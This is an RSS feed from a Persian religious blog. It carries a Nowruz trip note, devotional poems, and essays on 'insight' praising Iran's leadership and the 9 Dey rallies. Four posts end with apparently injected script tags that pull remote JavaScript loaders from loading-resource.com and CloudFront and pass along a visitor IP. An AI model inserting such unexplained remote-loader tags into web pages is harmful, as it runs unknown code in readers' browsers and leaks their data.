&lt;p dir="RTL"&gt;&lt;img style="cursor: -moz-zoom-in; display: block; margin-left: auto; margin-right: auto;" src="http://up98.org/upload/server1/02/e/ygqxep8r7ug7ymv7vdf.jpg" alt="http://up98.org/upload/server1/02/e/ygqxep8r7ug7ymv7vdf.jpg" width="276" height="206" /&gt;&lt;/p&gt;
&lt;p dir="RTL"&gt;پی نوشت:&lt;/p&gt;
&lt;p dir="RTL"&gt;1-خیلی خوش گذشت .جای همه ی شما خالی بود.&lt;/p&gt;
&lt;p dir="RTL"&gt;2-اگه اشتباه نکنم سفره شامل 4نوع هفت سین بود(هفت سین معمولی ،شهدا ،قرآنی و...)که قشنگ بود وخیلی ها خوششون اومده بود که البته اونجا بودم برای ما از هر هفت سینی مهمتر بود.&lt;/p&gt;
&lt;p dir="RTL"&gt;3-خیلی دوست داشتیم امسال هم همین برنامه رو داشته باشیم که چون توفیق حضور در اردوی جهادی رو داشتیم ،نشد.&lt;/p&gt;
&lt;p dir="RTL" align="center"&gt;&lt;strong&gt;"التماس دعا"&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;</description>
      <link>http://montazer313.persianblog.ir/post/141</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/9146747/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-9146747</guid>
      <pubDate>Mon, 19 Mar 2012 22:41:40 GMT</pubDate>
    </item>
    <item>
      <title>عبرت</title>
      <description>&lt;p&gt;من که میدانم به دنیا اعتباری نیست...&lt;/p&gt;
&lt;p&gt;بین مرگ وزندگی قول وقراری نیست...&lt;/p&gt;
&lt;p&gt;من که میدانم اجل ناخواسته می آید وراه فراری نیست...&lt;/p&gt;
&lt;p&gt;پس چرا مهیا نشوم؟؟؟!!!!&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B6D391540-C307-475A-8E30-7451DF0EC472%7D"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&amp;amp;pid=1032&amp;amp;zoneid=10368&amp;amp;cid=IR&amp;amp;rid=15&amp;amp;ccid=Mahshahr&amp;amp;ip=78.39.200.214"&gt;&lt;/script&gt;</description>
      <link>http://montazer313.persianblog.ir/post/140</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/8947748/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-8947748</guid>
      <pubDate>Sat, 18 Feb 2012 15:52:31 GMT</pubDate>
    </item>
    <item>
      <title>شاید بیاید...</title>
      <description>&lt;p dir="RTL"&gt;&lt;img style="float: left;" src="http://image.kocholo.ir/reza/05_New/09_05/09KartPostalEntezareMahD05.jpg" alt="http://image.kocholo.ir/reza/05_New/09_05/09KartPostalEntezareMahD05.jpg" width="216" height="153" /&gt;خیلی وقته دارم برای اومدنش دعا میکنم...دیگه اشکی ندارم...دعا میکنم اگه قرار نیست فعلا بیاد حداقل اشک داشته باشم تا بتونم برای غربتش گریه کنم...تا شاید کمی آروم تربشم ...تا کی با ید در انتظار بنشینم...تا کی باید تمام روز های هفته رابه انتظارت بنشینم وبازهم...گفتم اینبار، شنبه برای تو بنویسم...اما جمعه فرق می کند،جمعه با تمام روزهای هفته فرق می کند...چوی بوی انتظار میدهد...بوی انتظاری که به وصال می انجامد...وتو هنوز منتظر جمعه ظهورت هستی...بیا ای "قرار بی قراری های دلم"...&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B6D391540-C307-475A-8E30-7451DF0EC472%7D"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="https://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&amp;amp;pid=1032&amp;amp;zoneid=10368&amp;amp;cid=IR&amp;amp;rid=15&amp;amp;ccid=Mahshahr&amp;amp;ip=78.39.200.214"&gt;&lt;/script&gt;</description>
      <link>http://montazer313.persianblog.ir/post/138</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/8811880/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-8811880</guid>
      <pubDate>Sat, 28 Jan 2012 14:24:38 GMT</pubDate>
    </item>
    <item>
      <title>جامانده ازقافله...</title>
      <description>&lt;p style="text-align: center;" dir="RTL"&gt;عبد رو سیاهم آقا&amp;nbsp; /&amp;nbsp; سائل نگاهم آقا&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;ای پناه هر دو عالم&amp;nbsp; /&amp;nbsp; تو پناهم بده آقا&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;اومدم با سر به زیری&amp;nbsp; /&amp;nbsp; من غلام وتو امیری&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;اومدم با حال زارم&amp;nbsp; /&amp;nbsp; تا که دستم و بگیری&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;تو ببین که با چه حالی&amp;nbsp; /&amp;nbsp; اومدم با دست خالی&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;دست رد نزن به سینم&amp;nbsp; /&amp;nbsp; ای مرا مولی الموالی&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;دل زینب و شکستم&amp;nbsp; /&amp;nbsp; راه بچه هاتو بستم&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;وای اگه منو برونی&amp;nbsp; /&amp;nbsp; وای اگه نگیری دستم&lt;/p&gt;
&lt;p style="text-align: center;" dir="RTL"&gt;یا حسین غریب مادر&amp;nbsp; /&amp;nbsp; یا حسین غریب مادر&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B6D391540-C307-475A-8E30-7451DF0EC472%7D"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="https://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&amp;amp;pid=1032&amp;amp;zoneid=10368&amp;amp;cid=IR&amp;amp;rid=15&amp;amp;ccid=Mahshahr&amp;amp;ip=78.39.200.214"&gt;&lt;/script&gt;</description>
      <link>http://montazer313.persianblog.ir/post/128</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/8673535/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-8673535</guid>
      <pubDate>Fri, 13 Jan 2012 08:52:08 GMT</pubDate>
    </item>
    <item>
      <title>من و...</title>
      <description>&lt;p&gt;نردبان دلم شکسته است می شود برایم دعا کنی؟&lt;/p&gt;
&lt;p&gt;یا اگر خدا اجازه می دهد کمی بجای من خدا خدا کنی؟&lt;/p&gt;
&lt;p&gt;راستش دلم مثل یک نماز بین راه خسته وشکسته است&lt;/p&gt;
&lt;p&gt;می شود برای بیقراری های دلم ، سفارشی به آن رفیق با وفا دعا کنی؟&lt;/p&gt;
&lt;p&gt;ای قرار بی قراری های دلم...&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B6D391540-C307-475A-8E30-7451DF0EC472%7D"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="https://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&amp;amp;pid=1032&amp;amp;zoneid=10368&amp;amp;cid=IR&amp;amp;rid=15&amp;amp;ccid=Mahshahr&amp;amp;ip=78.39.200.214"&gt;&lt;/script&gt;</description>
      <link>http://montazer313.persianblog.ir/post/137</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/8706893/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-8706893</guid>
      <pubDate>Wed, 11 Jan 2012 10:54:22 GMT</pubDate>
    </item>
    <item>
      <title>نه ده</title>
      <description>&lt;p dir="RTL"&gt;بسم رب الشهدا&lt;/p&gt;
&lt;p dir="RTL"&gt;یکی از نعمت هایی که خداوند به انسان عطا کرده و موجبات برتری انسان بر سایر مخلوقات می باشد قدرت انتخاب و اختیار است . انسان با اتکا به دانایی ها و تجربیاتی که کسب کرده اختیار دارد که هر هدفی را انتخاب کرده و بسویش حرکت کند . اهمیت این اختیار و انتخاب زمانی مشخص شده و نمود پیدا می کند که انسان در دوراهی حق و باطل ، باید دست به انتخاب بزند .( حال آنکه تاریخ همواره آوردگاه نبرد حق و باطل بوده است . از زمان آدم و حوا و ابلیس و پس از آن قصه ی هابیل و قابیل گرفته تا زمان فرارسیدن قیامت). کدام انتخاب ؟ با کدام معیار و شاخص ؟ خوب ؛ البته برای انتخاب باید شناخت درستی از مسئله داشت ، شناخت صحیح وتجزیه و تحلیل (هرچند ناقص که در ادامه توضیح خواهیم داد) به حل مسئله کمک می کند . البته این شناخت باید در مرحله ی عمل ظهور پیدا کند ، این که فقط بشناسیم کافی نیست ، گاهی سکوت در برابر آنچه حق است نیز حکم عدم شناخت را دارد با این تفاوت که می دانیم ولی نمی خواهیم ! به این عمل برآمده از شناخت صحیح می گوییم آگاهی ، فهم صحیح و بصیرت .&lt;/p&gt;
&lt;p dir="RTL"&gt;بصیرت یعنی حق را از باطل جدا کردن ، دوست را از دشمن شناختن و خیر را از شر شناختن . از این نکته غافل نشویم که گاهی چنان حق و باطل در هم آمیخته می شوند که نمی توان مرز مشخصی میانشان قائل شد و شاید این جا برای بهتر شناختن و درست عمل کردن باید به سراغ شاخص هایی برویم که راه را به ما نشان می دهند و اما شاخص چیست ؟ و شاخص کیست ؟&lt;/p&gt;
&lt;p dir="RTL"&gt;نظام و حکومت ما که جمهوری اسلامی و بر پایه ی ولایت می باشد و حال که امام عصر(عج) در غیبت به سر می برند این امر در زمان غیبت بر دوش نایب بر حقشان امام خمینی(ره) و پس از رحلت ایشان بر دوش امام خامنه ای(مدظله العالی) است ؛ پس شاخص همان گفتمان امام(ره)&amp;nbsp; و رهبر معظم انقلاب امام خامنه ای است و بزرگترین گواه بر این مدعا حوادث سی و چند ساله ی انقلاب اسلامی است . هرگاه که نظام و جامعه بر سر دو راهی سخت و دشواری گرفتار می شود ، خیل عظیم ملت متعهد ، ​مقید ، متدین ، ولایت پذیر و ولایت مدار ، با بهره گیری از گفتمان امام(ره) و رهنمودهای رهبری عزیز ، با عزم و اراده ی پولادین از پس این حوادث برآمده اند . آخرین گواهش همین 9 دی 88 بود که جریان فتنه و نفاق (در داخل و خارج) با تابلو و شعار امام (ره) و خط امام(ره) به میدان آمد ، حال آنکه اصلی ترین مبانی و نظریه های امام(ره) را نشانه رفته بود ، که با روشنگری های مقام معظم رهبری حضرت امام خامنه ای(مدظله العالی) پیرامون ابعاد و اهداف این جریان پلید و شیطانی و همچنین بصیرت و ولایت مداری&amp;nbsp; ، &amp;nbsp;مردم متعهد،انقلابی و همیشه در صحنه ایران اسلامی توانستند حماسه عظیم 9 دی را ایجاد و یوم ا... 9 دی را به نام "روز بصیرت" در تاریخ به نام خود ثبت کنند و درسی ماندگار و عبرت آموز به تمام دشمنان اسلام و ایران اسلامی بدهند.&lt;/p&gt;</description>
      <link>http://montazer313.persianblog.ir/post/125</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/8630996/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-8630996</guid>
      <pubDate>Fri, 30 Dec 2011 20:27:10 GMT</pubDate>
    </item>
    <item>
      <title>بصیرت</title>
      <description>&lt;p dir="RTL"&gt;قل هذه سبیلی ادعو الی الله علی بصیرة انا ومن اتبعنی(سوره یوسف آیه108)&lt;/p&gt;
&lt;p dir="RTL"&gt;ای پیامبر بگو طریقه من وپیروانم این است که خلق را به خدا،با بصیرت دعوت کنیم.&lt;/p&gt;
&lt;p dir="RTL"&gt;یکی ازمولفه ها وفاکتورهایی که درپیمودن راه حق وتشخیص حق &amp;nbsp;مورد نیاز است ؛ بصیرت است.بصیرت مانند یک چراغ است که درمواقعی که فضا ومحیط غبارآلود است وتشخیص سخت ودشوار می شودبیشتر به کار می آید.&lt;/p&gt;
&lt;p dir="RTL"&gt;بصیرت یعنی شناخت صحیح ودقیق،آگاهی،قدرت تحلیل،برنامه ریزی،حسابگری.یعنی شناخت حق از باطل،دوست از دشمن.با بصیرت است که انسان از حوادث دشوار تاریخ،که تشخیص سخت ودشوار می شودسربلند بیرون آمده وراه حق ودرست را انتخاب می کند.اگر بصیرت نباشد انسان های خوب وارزشی هم ممکن است راه را گم کرده وبه انحراف کشیده شوند.بصیرت مانند یک نقشه راه است که به ما کمک می کند هدف را درست شناسایی کرده وبهترین راه رسیدن به هدف(شامل:وسایل لازم،تهدیدات و فرصت های راه و...)را انتخاب کنیم وآگاهانه وحساب شده وارد یک مسیر شویم.&lt;/p&gt;
&lt;p dir="RTL"&gt;بیشتر بلاهایی که برسر یک جامعه می آید براثر بی بصیرتی است ودراین میان نباید از نقش نخبگان وخواص در این مهم چشم پوشی کرد.خواص ونخبگان علاوه بر اینکه باید بصیرت را در خود تقویت کنند باید درسایر افراد جامعه این مهم را بوجود بیاورند.&lt;/p&gt;
&lt;p dir="RTL"&gt;بصیرت آنجایی به کار می آید ونمودش بیشتر می شود که دشمن با تابلو وشعار خودی به میدان می آیدودر اینجا داشتن شاخصی که بتوان به کمک آن حق از باطل،دوست از دشمن وخیرازشررا تشخیص دادو به حق عمل کرد اهمیت ویژه وخاصی پیدا می کند.&lt;/p&gt;
&lt;p dir="RTL"&gt;واما در این بین از قشر دانشجو بعنوان یک قشر تاثیر گذار وتاثیر پذیرانتظار می رود تا ضمن افزایش بصیرت خود در تلطیف محیط&amp;nbsp; جامعه همت کرده ودراین راه نقش یک روشنگر را در جامعه ایفا نمایند.&lt;/p&gt;</description>
      <link>http://montazer313.persianblog.ir/post/124</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/8630957/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-8630957</guid>
      <pubDate>Fri, 30 Dec 2011 20:25:08 GMT</pubDate>
    </item>
  </channel>
</rss>
